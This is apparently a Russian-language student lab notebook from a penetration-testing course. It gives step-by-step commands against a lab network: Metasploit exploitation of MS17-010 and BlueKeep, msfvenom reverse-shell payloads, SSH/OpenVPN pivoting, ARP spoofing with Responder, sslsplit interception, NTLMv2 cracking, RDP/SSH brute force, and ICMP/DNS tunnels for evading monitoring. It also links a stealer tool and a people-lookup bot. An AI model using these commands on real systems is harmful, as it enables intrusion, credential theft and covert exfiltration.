Aleksey asduchara
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # 1. Атаки первоначального доступа ## Разведка 1. Иследование, анализ сферы деятельности организации. 2. Определение часто используемой структуры сети и используемых сервисов для организаций данной сферы деятельности. (пример, для организаций сверы ЖКХ) 3. Определение IP адресов организации. (через отправку специально подготовленных электронных писем или средствами социальной инженерии). 4. Сканирование выявленных ip адресов на наличие портов служб которые смотрят на ружу, а так же определение оборудования которое стоит на границе периметра. ## Сценарии проникновения 1. Подбор учетных данных на доступные сервисы RDP, SSH, Radmin, Ammyy Admin и подобные. 2. Эксплуатация вэб уязвимостей. 3. Иньекции в БД. 4. Эксплуатациии уязвимости сетевого оборудования стоящего на границе периметра. 5. Социальная инженерия. 6. Атаки на протоколы сетевого и канального уровня. 7. Физическая кража оборудование или носителей ключей доступа. 8. Отправка фишинговых электронных писем, а так же писем с вирусами и троянскими программами. 9. Физическое проникновение в организацию и получение доступа к оборудованию или сети с возможностью установки закладки. # 2. OSIN и социальная инженерия ### Задание Используя инструменты, рассмотренные на занятии 2, найти информацию о компании, в которой вы работаете. Необходимо найти максимальное количествено сотрудников компании, в которой вы работаете в открытом доступе (ФИО, email, телефон, ссылка на соцсеть). В отчете отразить инструмены и инструкцию работы с инструментами. Собранные данные включать в отчет не нужно! ### Инструменты для сбора информации о доменах и субдоменах компании. subfinder gau - amass - altdns - dnsgen, massdns, subbrute - wget ubfinder - subdomain discovery tool. Его главный плюс в том, что он собирает информацию с помощью API. Это позволяет выполняться пассивно и незаметно. пример использования `kali@kali:~$ subfinder -nW -oI -o ~/tmp/sib-nsk.log -d sib-nsk.net` - `-nW` - удаление мёртвых поддоменов из вывода - `-oI` - запись вывода в формате Host, IP - `-o ~/tmp/sib-nsk.log - файл, в который запишем результат - `-d sib-nsk.net` - домен для поиска поддоменов в лог файле мы увидим доменные имена и ip адреса на которых они висят после можно воспользоваться сервисом hunter.io для поиска e-mail адресов с привязкой к конкретному домену ![](https://i.imgur.com/pjxxCBa.png) Утилита gau для поиска URL установка go install github.com/lc/gau/v2/cmd/gau@latest использование ~/go/bin/gau --subs sib-nsk.net ![](https://i.imgur.com/t8xzHzy.png) используя различные инструменты можно из этого вывода выдернуть документы для изучения наличия вних персональных данных. При помощи ресурсов типа https://2ip.io/domain-list-by-ip/ можно просмотреть какие еще домены могут висеть на конкретном IP адресе. С помощью утилиты dig мы можем просмотреть на каком из найденых нами доменов висит почта dig MX sib-nsk.net при помощи телеграмм бота по номеру телефона и почте можно узнать информацию о человеке https://t.me/+DPwC7zLpjoM5ZDcy также есть бот "Глаз Бога" но он работает по платной подписке. # Тема 3. Сканирование сети корпоративной инфраструктуры ### Задачи а) Выполнить конфигурацию инфраструктуры для выявления уязвимых сервисов (пробросить RDP и SMB порты Windows 7 на внешние порты FW) б) Выполнить сканирование внешнего периметра сети виртуальной организации, найти потенциально уязвимые сервисы, используя инстурументарий, рассмотренный на занятии в) Выполнить эксплуатацию найденной уязвимости, используя инстурументарий, рассмотренный на занятии 3. г) Установить сетевой сканнер Nessus (будет необходим VPN) и просканировать внешний периметр инфраструктуры ## Настройка инфраструктуры Итоговая структура сети выглядит так ![](https://i.imgur.com/B98R4F4.png) ### настройки pfSense Проброс портов для RDP и SMB ![Uploading file..._ca3v6oh9x]() и разрешающие правила ![](https://i.imgur.com/driNc0v.png) ## Сканирование внешнего периметра Начнем сканирование с утилиты nmap всей подсети 10.10.51.0.24 `nmap 10.10.51.0/24 -v` ![](https://i.imgur.com/XPAH9U9.png) Внешний адрес нашего pfSense 10.10.51.57 утилита почемуто нашла два открытых порта сканирование конкретно нашего ip адреса `nmap 10.10.51.57 -A` ![](https://i.imgur.com/OcKNxvK.png) ![](https://i.imgur.com/zaV3phG.png) Воспользуемся возможностью nmap подключать скрипты для более детального сканирования хоста (определения версий уязвимости) `nmap 10.10.51.57 -A -sV --script=*vuln*` найдена одна уязвимость ms17-010 ![](https://i.imgur.com/avni7mM.png) ### Эксплуатация найденной уязвимости воспользуемся утилитой Metasploit Framework console для запуска введем команду `msfconsole` ![](https://i.imgur.com/EZU9DD8.png) проведем поиск по номеру уязвимости `msf6 > search CVE-2017-0143` ![](https://i.imgur.com/re7a6ks.png) выдан список возможных эксплоитов воспользуемся самым первым эксплоитом, введем команду `use 0` для просмотра возможных опций этого эксплоита введем команду `show options` ![](https://i.imgur.com/qomVGjI.png) нам достаточно прописать опцию RHOSTS делается это командой `set RHOSTS` 10.10.51.57 командой `run` мы запускаем данный эксплоит ![](https://i.imgur.com/DgJyj72.png) в итоге эксплоит прошел удачно и мы получили доступ ![](https://i.imgur.com/7d4rns0.png) ### Реализуем еще одну уязвимость bluekeep выходим в командную строку msfcomsole? и ищем эксплоит bluekeep `search bluekeep` далее выбираем наш экслоит ![](https://i.imgur.com/64WCWBP.png) проверяем какие есть опции на этом эксплоите и задаем ему опцию RHOSTS не забываем установить версию ОС в ошции Exploit target и запускаем ![](https://i.imgur.com/QgoknZk.png) Эксплорер отработал и мыы получили доступ к win7 машине ![](https://i.imgur.com/SiXFO3r.png) ## Утановка Nessus При помощи vpn скачиваем и устанавливаем Nessus, так же на сайте нужно зарегистрироваться и получит ключь активации ![](https://i.imgur.com/THMWmN4.png) запускаем службу ![](https://i.imgur.com/C4iz99f.png) и в браузере заходим по адресу http://127.0.0.1:8834 Выбираем версию ![](https://i.imgur.com/NXXskvh.png) Вводим регистрационый код а также логин и пароль ![](https://i.imgur.com/3dpEIFS.png) и дожидаемся скачивания и установки плагинов ![](https://i.imgur.com/OOtKXbr.png) После установки плагинов нам срузу предлагается указать цель для сканирования ![](https://i.imgur.com/bWV4cXk.png) Через некоторое время нам выдатсся какие уязвимости были найдены ![](https://i.imgur.com/0r0EUPj.png) ![](https://i.imgur.com/PVyyFdx.png) # Тема 4. Проникновение за периметр инфраструктуры. Технология SSH Port forwarding SSH Tunneling. Проксирование трафика ### Задачи а) Создать проброс портов (445 и 3389) с помощью технолонии SSH PortForwarding б) Создать L3 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне. в) Создать L2 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника г) Настроить выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер ## a) Проброс портов (445 и 3389) с помощью технолонии SSH PortForwarding Проверяем запушен ли ssh служба на внешней Kali linux машине командой `service ssh status если не запущен запускаем его ![](https://i.imgur.com/OmPsTvl.png) В нашем случае он запущен. Провряем возможность подключения из нутри инфраструктуры на наш внешний ssh сервер ![](https://i.imgur.com/D76e94E.png) ![](https://i.imgur.com/prtPMwI.png) все хорошо подключается пробросим порт 3389 с windows10 на порт 3390 Kali linux для этого в командной строке windows 10 пропишем следующую команду `ssh -R 3390:127.0.0.1:3389 user@10.10.51.96` попробуем теперь с Kali linux подключиться по RDP к Windows 10 машине в обход файервола ![](https://i.imgur.com/MjIzXqV.png) в водим команду `xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390` И видим подключение к Windows 10 ![](https://i.imgur.com/rnsFtSX.png) Для проброса 445 порта используется таже команда только вместо 3389 указывается 445 порт и далее по аналогии Команда для проброса порта на другой компьютер `ssh -R 3391:192.168.1.113:3389 user@10.10.51.96` в данном случее проброс будет сделат через windows10 машину на windows7 ### L3 тоннель с помощью SSH Tunneling Произведем настройку внешей Kali linux машины в файле настройки ssh сервера раскоментируем (или добавим) параметры `PermitionRoorLogin yes` -разрешаем подключение root к ssh `PermitTunnel yes` -разрешает использование перенаправления для устройств TUN Тонель поднимается при помощи ключа -w для этого бедем использовать Debian машинку находящиюся в нутри инфраструктуры и введем следующую команду `ssh -w any:ane root@10.10.51.185` ![](https://i.imgur.com/dFmpFWA.png) откроим еще один терминал на этой машине командой Alt+F2 для донастройки Видим появившейся адаптер tun0 но он не активен ![](https://i.imgur.com/hbZdEAi.png) назначим ip адрес на этот интерфейс `ip addr add 172.10.10.2/24 dev tun0` включим этот интерфейс `ip link set dev tun0 up` ![](https://i.imgur.com/JosjMCr.png) включаем маршрутизацию вфайле /etc/sysctl.conf нужно раскоментировать параметр net.ipv4.ip_forward=1 после применим настройки командой `sysctl -p` ![](https://i.imgur.com/vMpYSUj.png) Настроим правила NAT чтобы трафик идущий из любых интервейсов натился на интерфейс ens3 `iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE` приступим к донастройке kali linux машине назначим нашему новому интерфейсу ip адрес `ip addr add 172.10.10.1/24 dev tun0` `ip link set dev tun0 up` и добавляем маршрут до сети 192.168.1.0/24 `ip route add 192.168.1.0/24 via 172.10.10.2` можно попробовать зайти на pfSense с Kali linux машины по адресу 192.168.1.1 ![](https://i.imgur.com/SLPpcsG.png) ### L2 тоннель с помощью SSH Tunneling Подключим в нашу инфраструктуру еще одну debian машину и на ней будем проводить эксперимент Настроим сеть и установим на ней bridge-utils (`apt install bridge-utils`) Запустим соединение по ssh следующей командой `ssh root@10.10.51.185 -o Tunnel=ethernet -w any:any` включаем интерфейс `ip link set tap0 up` добавляем созданный тонель в бридж `brctl addif br0 tap0` ![](https://i.imgur.com/C5lTKUA.png) Зайдем на внешнюю Kali linux и на ней настроим тонель включаем интерфейс `ip link set tap0 up` и получаем по dhcp на этот интерфейс адрес `dhclient tap0` ![](https://i.imgur.com/WeWSS9M.png) ## Выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер Для использования SSH proxy нужно использовать ssh со следующими параметрами `ssh -f -qNTn -D *:8888 user@10.10.51.185` # Тема 5. Проникновение за периметр инфраструктуры. OpenVPN L3, L2 Tunneling ### Задачи а) Построить OpenVPN L3 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне. б) Построить OpenVPN L2 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника ### Настройка стенда добавим на наш стенд дополнительно одну debian машину, обзавем ее RPi (raspberry pi) в конфигурации добавим 3 сетевых интерфейса, два будут работать в режиме бриджа а один смотреть во внешнюю сеть эмулируя LTE модем. ![](https://i.imgur.com/G3Wi7ir.png) Также создадим дополнительно два VLAN 10 и 20 в 10 будет windows 10 машина а в 20 debian, windows 7 останется в VLAN 1. Дополнительно добавим еще одну Kali linux машину для поднятия на ней openvpn сервера ### Построить OpenVPN L3 на RPI-4 установим openvpn client `apt install openvpn` а также включим маршрутизацию в файле /etc/sysctl.conf, раскоментируем строчку net.ipv4.ip_forward=1 и применим изменения sysctl -p вешаем ip адрес на бридж интерфейс `ip addr add 192.168.1.97/24 dev br0` и настроим nat на бридж интерфейсе `iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE` на внешней Kali linux машине скачиваем скрипт `curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh делаем его исполняемым `chmod +x openvpn-install.sh Запускаем `./openvpn-install.sh` помере выполнения отвечаем на вопросы после выаолнения скрипта в конце он запросит как обозвать клиента и по этому имени создаст сщташгурационный файл для этого клиента. В нашем случае создался файл user.ovpn скачиваем этот файл на нашу RPi машину. редактируем файл конфигурации openvpn сервера, приводим его к виду как указанно на скриншоте ![](https://i.imgur.com/PwjyQOE.png) перезапускаем openvpn сервер `service openvpn restart` в папке /etc/openvpn/ccd создадим файл с именем нашего профиля (клиента) `nano user` пропишем в нем какие сети находятся за этим клиентом `iroute 192.168.1.0 255.255.255.0` ![](https://i.imgur.com/fHMIi94.png) пропишем маршрут `ip route add 192.168.1.0/24 via 10.8.0.2` так же немного редактируем файл конфигурации openvpn клиента приводим его к виду как указанно на скриншоте ![](https://i.imgur.com/0qQ4KYd.png) подключаемся к openvpn серверу `openvpn user.conf` с Kali linux пробуем пропинговать адрес 192.168.1.1 и видим что пинги проходят, а значить мы имеем доступ во внутреннюю инфраструктуру ![](https://i.imgur.com/4chmrxe.png) ### L2 OPENVPN тунель настройки сервера nano /etc/openvpn/server.conf port 1194 proto udp #dev tun dev tap user nobody group nogroup persist-key persist-tun keepalive 10 120 topology subnet server 10.8.0.0 255.255.255.0 ifconfig-pool-persist ipp.txt #push "dhcp-option DNS 8.8.8.8" #push "dhcp-option DNS 8.8.4.4" #push "redirect-gateway def1 bypass-dhcp" dh none ecdh-curve prime256v1 tls-crypt tls-crypt.key crl-verify crl.pem ca ca.crt cert server_7hSP84aWqqcYZwQ5.crt key server_7hSP84aWqqcYZwQ5.key auth SHA256 cipher AES-128-GCM ncp-ciphers AES-128-GCM tls-server tls-version-min 1.2 tls-cipher TLS-ECDHE-ECDSA-WITH-AES-128-GCM-SHA256 client-config-dir /etc/openvpn/ccd status /var/log/openvpn/status.log verb 3 перезапускаем openvpn service openvpn restart ![](https://i.imgur.com/KJgW9BU.png) Настройки клиента nano user.conf ![](https://i.imgur.com/3baJ0fH.png) Меняем настройки сети на клиенте /etc/network/interfaces Добавляем как на скриншоте ![](https://i.imgur.com/DIV4n4b.png) настраиваем автоматический запуск openvpn сервер systemctl enable openvpn для того что бы автоматически подтягивался конфиг для openvpn перенесем конфигурационый вайл в папку /etc/openvpn mv user.conf /etc/openvpn/ укажем опенвпн серверу конкретно какой конфигурационный файл брать при автозапуске nano /etc/default/openvpn ![](https://i.imgur.com/Spp19Pg.png) Создаем скрипт для автоматической перезапуска сети для этого в папке etc/openvpn создаем скрипт cd /etc/openvpn nano up.sh #!/bin/bash /usr/bin/systemctl restart networking.service Разрешаем на запуск chmod +x up.sh в файл user.conf добавляем script-security 2 up /etc/openvpn/up.sh ![](https://i.imgur.com/fl9yNcG.png) после чего перезагружаем устройство и openvpn клиент автоматически подключается # Тема 6. Вредоносное программное обеспечение в корпоротивной среде. ### Настройки рабочей среды #### Kali Linux Нужно в одной консоли запустить msfconsole show payloads - просмотр payloads выбираем эксплоит use exploit/multi/handler просмотр опций show options ![](https://i.imgur.com/sVn19NV.png) Устанавливаем параметр LHOST set lhost 0.0.0.0 устанавливаем выбранный payloads set payloads windows/x64/meterpreter/reverse_tcp Смотрим какие опции присутствуют на этом payloads show options ![](https://i.imgur.com/3IgLBmd.png) при помощи утилиты msfvenom создаем запускаемый файл msfvenom -p windows/x64/meterpreter/reverse_tcp lport=4444 lhost=10.10.51.58 -f exe -o reverse-tcp-meterpreter.exe В результате чего создастся файл reverse-tcp-meterpreter.exe ![](https://i.imgur.com/ftEubdw.png) С помощью python зоздаем веб сервер в котором будет находится наш файл sudo python -m http.server 80 далее с жертвы заходим на этот сервер и скаиваем нужный нам файл и запускаем его. на атакующем компьютере имеем доступ ![](https://i.imgur.com/ZaTKyDL.png) создание payload для подключения по RDP set payload windows/x64/vncinject/reverse_tcp msfvenom -p windows/x64/vncinject/reverse_tcp lport=4444 lhost=10.10.51.58 -f exe -o reverse-tcp-vnc.exe в итоге на атакующей машине запустится сессия vnc с доступом к жертве Настроим проброс портов Вернемся к сессии set payloads windows/x64/meterpreter/reverse_tcp (session N) или если она не запущенна запустим введем команду portfwd add -L 10.10.51.58 -l 3395 -p 3389 -r 192.168.10.10 Смотрим соединения которые получились portfwd list ![](https://i.imgur.com/jvsve4t.png) Пробуем подключиться по RDP xfreerdp /u: user /p:eve@123 /v:10.10.51.58:3395 в итоге получаем сессию rdp ![](https://i.imgur.com/9bCSgb6.png) ### Постэксплуатация use post/windows для примера используем следующую комманду use post/windows/escalate/unmarshal_cmd_exec устанавливаем запущенную сессию set session N (где N номер ссесии которую можно посмотреть коммандой show sessions) и запускаем ![](https://i.imgur.com/N5WUAyL.png) в итоге на атакуемой машине имеем пользователя с правами администратора. попробуем изспльзовать скрипт post/windows/manage/change_password посмотрим опции ![](https://i.imgur.com/MjfLlMG.png) установим опции и запустим скрипт ![](https://i.imgur.com/OQ4DbSf.png) Пароль изменен Запустим еще один скрипт я так понял получает список локальных администраторов ![](https://i.imgur.com/Z6UAdGZ.png) ## Reverse HTTPS-подключения ``` msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.51.58 lport=443 -f exe -o 443.exe ``` Закидываем файл 443.exe на компьютер жертвы, а на атакуемом компьютере запускаем mfsconsole и вводим следующие комманды ``` use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https msf exploit(handler) > set lhost IP 10.10.51.58 msf exploit(handler) > set lport 443 run ``` В итоге имеем досттуп ![](https://i.imgur.com/YaForUX.png) ### PowerShell reverse tcp запускаем mfsconsole и вводим следующие комманды ``` set payload cmd/windows/reverse_powershell set lhost 10.10.51.58 set lport 4444 run ``` зоздадим пэйлоад ``` msfvenom -p cmd/windows/reverse_powershell lhost=10.10.51.58 lport=4444 -o shell.bat ``` Зальем его на жертву и запустим ![](https://i.imgur.com/T9iCeS0.png) ## Stealers Это программное обеспечение которое позволяет похищать критически важную информацию. https://github.com/tiagorlampert/sAINT # Тема 7. Особенности атак, использующих метод перехвата трафика ### 1. Подготовка стенда Добавляем новую машину контроллера домена на windows server 2016 Назначаем статический IP адресс 192.168.1.200 поднимаем службу контроллера домена и DNS сервер на машинах с windows 10 и Windows 7 всетевых настройках меняем адресс DNS на 192.168.1.200 Вводим win7 and win10 машины в домен ### 2. Практическая часть #### Перехват трафика Для начала сканируем внутренную сеть. На Kali Linux устанавливаем пакет dsniff (apt install dsniff) в этом пакете находится уьтилита для перехвата трафика arpspoof для arp spoof атаки между двумя хостами arpspoof -i eth0 -t 192.168.1.200 -r 192.168.1.102 ![](https://i.imgur.com/4CZUkvI.png) на скриншоте выдем атаку на KAli запустим wireshark и посмотрим что мы получаем трафик между контроллером домена 192.168.1.200 и виндовс машинкой 192.168.1.102 ![](https://i.imgur.com/ADN3cTZ.png) попробуем разобрать проходящий трафик при помощи утилиты responder responder -I eth0 -wd видем NTLM авторизацию и хеш пароля ![](https://i.imgur.com/yHbtu26.png) так же попробуем перенаправить соединение по 445 порту на наш респондер для этого пропишем правило iptaples -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445 после чего можем перехватывать хеш пароля при попытке пользователя подлкюится по SMB к домену контроллера или к другому какому сервису, все зависит от того перенаправление какого сервиса мы сделаем ![](https://i.imgur.com/nTXnGaP.png) ### SSLsplit Ссылка на статью https://blog.kchung.co/recording-and-decrypting-ssl-encrypted-traff для начала подготовим контроллер домена на стенде для этого настроим на нем сертификаты запустим с правами администратора mmc и добавим в неее остнастку Certificates ![](https://i.imgur.com/YZRQzQm.png) также в контроллер домена добавим роль центра сертификации по статье генерируем ключи создаем папку для сертификата mkdir ssl cd ssl генерируем 1. `openssl genrsa -out ca.key 4096` 2. 1. `openssl req -new -x509 -key ca.key -out ca.crt` ![](https://i.imgur.com/horcqsH.png) добавляем правила iptables iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080 создаем дополнительные папки mkdir /tmp/sslsplit/ mkdir logdir Меням параметры arpspoofing arpspoof -i eth0 -t 192.168.1.102 -r 192.168.1.1 И запускаем sslsplit sslsplit \ -D \ -l connections.log \ -j /tmp/sslsplit/ \ -M ssl_key_logfile \ -S logdir/ \ -k ca.key \ -c ca.crt \ ssl 0.0.0.0 8443 \ tcp 0.0.0.0 8080 и видем подмену сертификата ![](https://i.imgur.com/j6sxOLZ.png) Скачиваем и устанавливаем наш сертификат на машине с windows 7 перезапускаем браузер и повторно открываем сайт ptsecurity.com и видим что сертификат вполне действительный. ![](https://i.imgur.com/7j3s7ZX.png) для просмотра тарфика запустим wireshark в настройках wirwshark добавим (Pre)-Master-Secret log filename ![](https://i.imgur.com/d4q6Upi.png) итог мы можем спомощью подмены сертификата захватывать зашифрованный трафик и расфифровывать его. ![](https://i.imgur.com/ZTVBECc.png) # Тема 8. Особенности атак, использующих метод грубой силы ### Задачи а) Подготовить инфраструктуру для проведения BruteForce атак б) Провести атаку на сервис RDP в) Провести атаку на сервис SSH г) Перехватить трафик с помощью Responder и осуществить BruteForce атаку на перехваченный NTLMv2 хэш ### BruteForce Начнем с BruteForce атаки на перехваченный NTLMv2 хеш с помощью Responder responder -I eth0 -wd видем NTLM авторизацию и хеш пароля ![](https://i.imgur.com/ECV4iKS.png) так же попробуем перенаправить соединение по 445 порту на наш респондер для этого пропишем правило iptaples -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445 после чего можем перехватывать хеш пароля при попытке пользователя подлкюится по SMB к домену контроллера или к другому какому сервису, все зависит от того перенаправление какого сервиса мы сделаем ![](https://i.imgur.com/vLJTHtQ.png) для подбора пароля по хеш будем использоваать утелиту hashcat Для начала распакуем словарь по которому будем подбирпть пароль sudo gzip -d /usr/share/wordlists/rockyou.txt.gz hashcat -a 0 -m5600 SMB-NTLMv2-SSP-192.168.1.102.txt /usr/share/wordlists/rockyou.txt -o pass.txt ![](https://i.imgur.com/qxMUnKz.png) по завершению работы мы можем посмотреть результат в файле pass.txt ![](https://i.imgur.com/jUKUjKf.png) где видем подобранный пароль eve@123 ### RDP Подбор будем проводить при помощи Lazy-RDP Установка ``` git clone https://github.com/getdrive/lazy-rdp cd lazy-rdp && chmod +x hydra/configure hydra/hydra src/rdp_brute.sh patator.py start INSTALL ``` Установка зависимостей ``` ./INSTALL ``` Запуск скрипта ``` ./start ``` ![](https://i.imgur.com/bebAdcO.png) оставляем порт по умолчанию, так как мы будем подбирать пароль к RDP ![](https://i.imgur.com/vwMMPPo.png) Здесь в нашем случае выбираем 1 и указываем для сканирования либо отдельный ip адресс либо диапазон ![](https://i.imgur.com/7G01L53.png) Указываем чем сканировать будем. Выберем nmap После сканирования на непродолжительное время покажет что нашла и предложит выбрать метод подбора пароля ![](https://i.imgur.com/3AIcAAE.png) Выберем 3 (Подбор по словарю как имени пользователя так и пароля) ![](https://i.imgur.com/GJy2NuZ.png) Укажем путь к файлу с именами и файлу с паролями ![](https://i.imgur.com/2SbRQJo.png) укажем чем непосредственно будем брутфорсить выберем 1 ![](https://i.imgur.com/RQpHLAo.png) Запустится процесс подбора ![](https://i.imgur.com/NaIDW2x.png) Через какоето время пароль подобран. # ssh-bruteforce Будем использовать иструмент ssb скачаем и установим с https://github.com/kitabisa/ssb для скачивания и установки выполним команду из под root curl -sSfL 'https://git.io/kitabisa-ssb' | sh -s -- -b /usr/local/bin для подбора пароля введем следующую команду ssb -p 22 -w pass -o creds.txt root@192.168.1.106 где -w pass файл со словарем паролей -o creds.txt файл куда сохранится пароль ![](https://i.imgur.com/PySvPhF.png) и после запуска утилита подобрала успешно пароль # Тема 9. Инструменты скрытия трафика от систем защиты ### Задачи а) Дополнить конфигурацию инфраструктуры для возможности создания ICMP и DNS туннеля. б) Выполнить реализацию ICMP тоннеля в) Выполнить реализацию RAW DNS тоннеля (простой способ) г) Выполнить реализацию DNS тоннеля через корпоративный DNS сервер (сложный способ) ### ICMP тонель подготовка инфраструктуры cсклонирунм утилиту hans с гитхаб на компьютер с кали линукс который расположен с наружи нашей инфраструктуры. git clone https://github.com/friedrich/hans Заходим в скачаную папку и комилируем командой make после в этой папке у нас появится исполняемый файл hans ![](https://i.imgur.com/hYGCGQZ.png) анологично скачиваем и компилируем данную утилиту и на компьютер с debian внутри инфраструктуры, может понадобится установка дополнительных утелит такой как net-tools На Kali linux запускам сервер hans командой ./hans -s 10.1.2.0 -p Aa123456 где -s 10.1.2.0 создаваемая сеть, приэтом серверу назначиться адрес 10.1.2.1 -p Aa123456 пароль ![](https://i.imgur.com/9Xvwdlm.png) создался тоннель tun0 Запустим клиента на debian машине в нутри инфраструктуры для этого выполним следующую команду ./hans -c 10.10.51.96 -p Aa123456 ![](https://i.imgur.com/rehj1LX.png) создался так же тоннель tun0 и назначен адрес 10.1.2.100 Настроим выход и ифраструктуры для debian машины через созданный icmp тонель для этого пропишем маршруты на Kali Linux пропишим NAT iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE на Debian пропишем маршрут ip route add 10.10.51.96/32 via 192.168.20.254 удаляем дефолтный маршрут ip route delete default и добавим новый маршрут ip route add default via 10.1.2.1 Посмотрим как теперь идут маршрути на ya.ru ![](https://i.imgur.com/mBv3Pil.png) Запустим wireshark на интерфейсе e0 pfSense и увидим большое колличество icmp пакетов в data которых встречается hans что говорит о том что используется утилита hans ![](https://i.imgur.com/SxuTBlb.png) в обычном icmp запросе такого нету ## RAW DNS тоннель (простой способ) Будем использовать статью https://habr.com/ru/post/129097/ На Kali linux машине которая находится за пределами инфраструктуры установим утилиту iodine apt install iodine аналогично ставим и на debian машине которая находится внутри инфраструктуры Далее на Kali linux машине запускаем серверную часть утилиты iodine iodined 10.99.99.1/24 -c i.ptlab.net ![](https://i.imgur.com/6iZT9sK.png) на debian машине запускаем клиента, предварительно поменяв DNS ![](https://i.imgur.com/gv9cCTf.png) После запускаем клиента командой iodine -P Qq123456 i.ptlab.net ![](https://i.imgur.com/BhhEmLx.png) тунель создан и мдаже можно подключиться по ssh ![](https://i.imgur.com/pJomyoI.png) ![](https://i.imgur.com/2Od7biD.png) Но данный метод имеет минусы один из них это отсутсвиие DNS на клиенте. ## Реализация DNS тоннеля через корпоративный DNS сервер (сложный способ) Подготовим ифраструктуру, для этого на стенде за переделим организации установим и настроим внешний DNS сервер, на базе windows server 2016 ![](https://i.imgur.com/YXmHQaX.png) настраиваем делелгирование ![](https://i.imgur.com/PWn2yBn.png) Так же нужно перенастроить DNS на контроллере домена находящийся в нутри организации ![](https://i.imgur.com/9EmHoZr.png) стенд подготовлен. Переходим на debian машину, перезагружаем ее, прописываем наш DNS сервер 192.168.1.200 утилитой dig смотрим на записи ptlab.net видим что А запись ссылается на адрес 10.10.51.186 ![](https://i.imgur.com/1mhtT5M.png) попробуем опять подключиться iodine к серверу iodine -P Qq123456 i.ptlab.net ![](https://i.imgur.com/tAb93OA.png) Вэтом варианте мы можем резолвить адреса ![](https://i.imgur.com/2e0HIfJ.png) Посмотрим на трафик который идет во внешнюю сеть (тут у меня почемуто перестали вставляться картинки, поэтому вставляю ссылки на них) 